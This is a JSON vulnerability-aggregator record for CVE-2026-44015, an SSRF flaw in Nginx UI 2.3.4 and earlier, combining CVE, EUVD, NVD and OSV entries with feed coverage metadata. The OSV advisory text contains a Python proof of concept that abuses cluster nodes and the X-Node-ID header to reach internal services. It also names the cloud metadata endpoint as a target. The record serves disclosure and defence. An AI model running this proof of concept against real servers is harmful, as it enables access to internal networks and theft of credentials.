{"id":"GHSA-wr32-99hh-6f35","revision":null,"records":[{"revision":"2d81d4125555443cbd9f29964b5a585f","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-44015","aliases":[],"title":"Nginx UI: Server-Side Request Forgery (SSRF) via Cluster Proxy Middleware Allows Access to Internal Services","description":"Nginx UI is a web user interface for the Nginx web server. In 2.3.4 and earlier, an authenticated user can perform Server-Side Request Forgery (SSRF) by creating a cluster node pointing to an arbitrary internal URL and then sending API requests with the X-Node-ID header. The Proxy middleware forwards these requests to the attacker-specified internal address, bypassing network segmentation and enabling access to services bound to localhost or internal networks.","state":0,"publishedAt":"2026-05-12T20:49:16.24+00:00","modifiedAt":"2026-05-14T21:32:37.84+00:00","affected":[{"ecosystem":"Vendor product","name":"nginx-ui","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"0xJacky\",\n                    \"product\": \"nginx-ui\",\n                    \"versions\": [\n                        {\n                            \"version\": \"<= 2.3.4\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","score":8.5,"severity":"HIGH"}],"references":["https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-wr32-99hh-6f35"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-44015","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-44015","identifiers":["CVE-2026-44015"]},"retained":false,"historicalAffected":[]},{"revision":"568cb53a6a124742a73202d65a69740e","observedAt":"2026-10-28T05:17:38.277+00:00","statement":{"source":"euvd","id":"EUVD-2026-29837","aliases":["CVE-2026-44015","GHSA-wr32-99hh-6f35"],"title":"Nginx UI is a web user interface for the Nginx web server. In 2.3.4 and earlier, an authenticated user can perform Server-Side Request Forgery (SSRF) by creating a cluster node pointing to an arbitrary internal URL and then sending API requ…","description":"Nginx UI is a web user interface for the Nginx web server. In 2.3.4 and earlier, an authenticated user can perform Server-Side Request Forgery (SSRF) by creating a cluster node pointing to an arbitrary internal URL and then sending API requests with the X-Node-ID header. The Proxy middleware forwards these requests to the attacker-specified internal address, bypassing network segmentation and enabling access to services bound to localhost or internal networks.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","score":8.5,"severity":null}],"references":["https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-wr32-99hh-6f35"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-29837","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"May 12, 2026, 8:49:16 PM","dateUpdated":"May 14, 2026, 9:32:37 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-29837","identifiers":["EUVD-2026-29837","CVE-2026-44015","GHSA-wr32-99hh-6f35"]},"retained":false,"historicalAffected":[]},{"revision":"e1ffd9c8b9b5481d904b59fb6ff6bdc0","observedAt":"2026-10-27T11:12:09.678+00:00","statement":{"source":"nvd","id":"CVE-2026-44015","aliases":[],"title":"Nginx UI is a web user interface for the Nginx web server. In 2.3.4 and earlier, an authenticated user can perform Server-Side Request Forgery (SSRF) by creating a cluster node pointing to an arbitrary internal URL and then sending API requ…","description":"Nginx UI is a web user interface for the Nginx web server. In 2.3.4 and earlier, an authenticated user can perform Server-Side Request Forgery (SSRF) by creating a cluster node pointing to an arbitrary internal URL and then sending API requests with the X-Node-ID header. The Proxy middleware forwards these requests to the attacker-specified internal address, bypassing network segmentation and enabling access to services bound to localhost or internal networks.","state":0,"publishedAt":"2026-05-12T22:16:35.33+00:00","modifiedAt":"2026-10-26T14:10:00.13+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","score":8.5,"severity":"HIGH"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":9.9,"severity":"CRITICAL"}],"references":["https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-wr32-99hh-6f35"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44015","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Modified","weaknesses":["CWE-918"],"productCriteria":["cpe:2.3:a:nginxui:nginx_ui:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-05-12T22:16:35.330","lastModified":"2026-10-26T14:10:00.130"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-44015","identifiers":["CVE-2026-44015"]},"retained":false,"historicalAffected":[]},{"revision":"c273c672dfa745cd850606f26629336a","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-wr32-99hh-6f35","aliases":["CVE-2026-44015","GO-2026-5719"],"title":"Nginx-UI has Server-Side Request Forgery (SSRF) via Cluster Proxy Middleware that Allows Access to Internal Services","description":"### Summary\n\nAn authenticated user can perform Server-Side Request Forgery (SSRF) by creating a cluster node pointing to an arbitrary internal URL and then sending API requests with the `X-Node-ID` header. The Proxy middleware forwards these requests to the attacker-specified internal address, bypassing network segmentation and enabling access to services bound to localhost or internal networks.\n\n### Details\n\nThe nginx-ui Proxy middleware (`internal/middleware/proxy.go`) intercepts API requests containing an `X-Node-ID` header and forwards them to the URL of the corresponding cluster node. An attacker can:\n\n1. Read the `node_secret` from `GET /api/settings` (accessible to any authenticated user)\n2. Create a cluster node via `POST /api/nodes` pointing to any internal URL:\n```json\n{\n    \"name\": \"ssrf_node\",\n    \"url\": \"http://127.0.0.1:51820\",\n    \"token\": \"<node_secret>\",\n    \"enabled\": true\n}\n```\n3. Send any API request with the `X-Node-ID` header set to the created node's ID:\n```\nGET /api/settings HTTP/1.1\nAuthorization: <token>\nX-Node-ID: 1\n```\n4. The Proxy middleware forwards this request to `http://127.0.0.1:51820/api/settings`, making a server-side request to the internal address.\n\n**Vulnerable code path:**\n- `internal/middleware/proxy.go` — `Proxy()`: no validation of the node URL; allows `127.0.0.1`, `localhost`, internal IPs, cloud metadata endpoints, etc.\n\nThe node URL is not restricted to external addresses or validated against an allowlist. Combined with the njs Code Injection vulnerability (separate advisory), this SSRF is used to trigger the njs payload executing on an internal-only nginx port, completing the RCE chain.\n\n### PoC\n\n```python\nimport requests\n\nBASE = \"http://TARGET:9000\"\nTOKEN = \"<authenticated_jwt_token>\"\nHDR = {\"Authorization\": TOKEN}\n\n# Step 1: Get node_secret\nsettings = requests.get(f\"{BASE}/api/settings\", headers=HDR).json()\nnode_secret = settings[\"node\"][\"secret\"]\n\n# Step 2: Create SSRF node pointing to internal service\nresp = requests.post(f\"{BASE}/api/nodes\", headers=HDR, json={\n    \"name\": \"ssrf\",\n    \"url\": \"http://127.0.0.1:51820\",  # internal-only port\n    \"token\": node_secret,\n    \"enabled\": True,\n})\nnode_id = resp.json()[\"id\"]\n\n# Step 3: SSRF — request is forwarded to http://127.0.0.1:51820/api/settings\nresp = requests.get(\n    f\"{BASE}/api/settings\",\n    headers={**HDR, \"X-Node-ID\": str(node_id)},\n)\nprint(resp.status_code, resp.text[:200])\n# Response comes from the INTERNAL service, not nginx-ui\n```\n\nThis can also target cloud metadata endpoints (e.g., `http://169.254.169.254/latest/meta-data/`) or any other internal service.\n\n### Impact\n\nAn authenticated attacker can:\n\n- **Access internal services** bound to localhost or private networks that are not intended to be externally reachable\n- **Access cloud metadata endpoints** (AWS/GCP/Azure instance metadata) to steal IAM credentials\n- **Port-scan internal networks** by creating nodes pointing to different internal IPs/ports\n- **Trigger internal-only njs endpoints** to escalate privileges (as demonstrated in the companion RCE advisory)\n- **Bypass network segmentation** and firewalls that only restrict inbound traffic","state":0,"publishedAt":"2026-04-29T20:54:54+00:00","modifiedAt":"2026-06-25T23:11:21.9322514+00:00","affected":[{"ecosystem":"Go","name":"github.com/0xJacky/Nginx-UI","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"last_affected","version":"2.3.4"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-wr32-99hh-6f35","https://nvd.nist.gov/vuln/detail/CVE-2026-44015","https://github.com/0xJacky/nginx-ui"],"sourceUrl":"https://github.com/advisories/GHSA-wr32-99hh-6f35","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-wr32-99hh-6f35","identifiers":["GHSA-wr32-99hh-6f35","CVE-2026-44015","GO-2026-5719"]},"retained":false,"historicalAffected":[]},{"revision":"27e65fefe3d044479c693d8ff08bdc9a","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5719","aliases":["CVE-2026-44015","GHSA-wr32-99hh-6f35"],"title":"Nginx-UI has Server-Side Request Forgery (SSRF) via Cluster Proxy Middleware that Allows Access to Internal Services in github.com/0xJacky/Nginx-UI","description":"Nginx-UI has Server-Side Request Forgery (SSRF) via Cluster Proxy Middleware that Allows Access to Internal Services in github.com/0xJacky/Nginx-UI","state":0,"publishedAt":"2026-06-25T22:34:38+00:00","modifiedAt":"2026-06-25T23:01:29.5749554+00:00","affected":[{"ecosystem":"Go","name":"github.com/0xJacky/Nginx-UI","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-wr32-99hh-6f35","https://nvd.nist.gov/vuln/detail/CVE-2026-44015"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5719","license":"OSV · upstream source license applies","key":"osv:GO-2026-5719","identifiers":["GO-2026-5719","CVE-2026-44015","GHSA-wr32-99hh-6f35"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-28T10:33:32.5344446+00:00","complete":true,"records":1760,"lastAttemptAt":"2026-10-28T10:33:32.5344446+00:00","lastSuccessAt":"2026-10-28T10:33:32.6834837+00:00","error":null,"lastVerifiedAt":"2026-10-28T10:33:32.6834858+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-d2186f400c54d65f61687f78bb1a00d184d2e215877d0194d7ed70caee809a44-dbe935b5c0445aa8bf0ad6eee2fdccbed1511848550405783cb6764f13f2cea1","complete":true,"records":415637,"lastAttemptAt":"2026-10-28T10:33:28.1218743+00:00","lastSuccessAt":"2026-10-28T10:33:28.0918568+00:00","error":null,"lastVerifiedAt":"2026-10-28T10:33:28.1218743+00:00","snapshotPublishedAt":"2026-10-28T10:28:43+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-46c7e0ed1dba4a5e840cbb4b4a705d30","complete":false,"records":13234,"lastAttemptAt":"2026-10-28T10:35:00.0513165+00:00","lastSuccessAt":"2026-10-28T10:35:00.1448454+00:00","error":null,"lastVerifiedAt":"2026-10-28T10:35:00.1448454+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-28T10:33:32.5344446+00:00","complete":true,"records":1093,"lastAttemptAt":"2026-10-28T10:33:32.5344446+00:00","lastSuccessAt":"2026-10-28T10:33:32.6846081+00:00","error":null,"lastVerifiedAt":"2026-10-28T10:33:32.6846084+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-8d16a738328646698f9217d8ea11893c","complete":true,"records":13449,"lastAttemptAt":"2026-10-28T10:33:33.1463542+00:00","lastSuccessAt":"2026-10-27T22:48:29.491+00:00","error":null,"lastVerifiedAt":"2026-10-27T22:48:29.491+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13514,"expectedIdentifiers":13514,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-f7cb12508d9e6a348c8a60f772ed85529cc80cd2ff853da1099b57754b20e943","complete":true,"records":9790,"lastAttemptAt":"2026-10-28T10:33:28.4933633+00:00","lastSuccessAt":"2026-10-27T21:49:03.9756799+00:00","error":null,"lastVerifiedAt":"2026-10-28T10:33:28.4933633+00:00","snapshotPublishedAt":"2026-10-27T21:48:11+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-72e5e79de0026dd0562d40734074a2236a06886643d67182b8381eaee757dbf7","complete":true,"records":1966,"lastAttemptAt":"2026-10-28T10:33:28.2877501+00:00","lastSuccessAt":"2026-10-27T21:46:38.0277323+00:00","error":null,"lastVerifiedAt":"2026-10-28T10:33:28.2877501+00:00","snapshotPublishedAt":"2026-10-27T21:18:15+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-9cc0e41ed4e75d0c111bed7fd0bbcd4f139c80cc1fc67f8c3d9a33a41da846ad","complete":true,"records":3002,"lastAttemptAt":"2026-10-28T10:33:32.5040876+00:00","lastSuccessAt":"2026-10-28T10:33:32.3653779+00:00","error":null,"lastVerifiedAt":"2026-10-28T10:33:32.5040876+00:00","snapshotPublishedAt":"2026-10-28T09:02:50+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-2ba4ef78ff3a54a3ff2eeaf8e09b7b84901727f582723b80c5b0279e777b2781","complete":true,"records":230857,"lastAttemptAt":"2026-10-28T10:33:28.3916004+00:00","lastSuccessAt":"2026-10-28T09:35:14.9469514+00:00","error":null,"lastVerifiedAt":"2026-10-28T10:33:28.3916004+00:00","snapshotPublishedAt":"2026-10-28T09:33:01+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}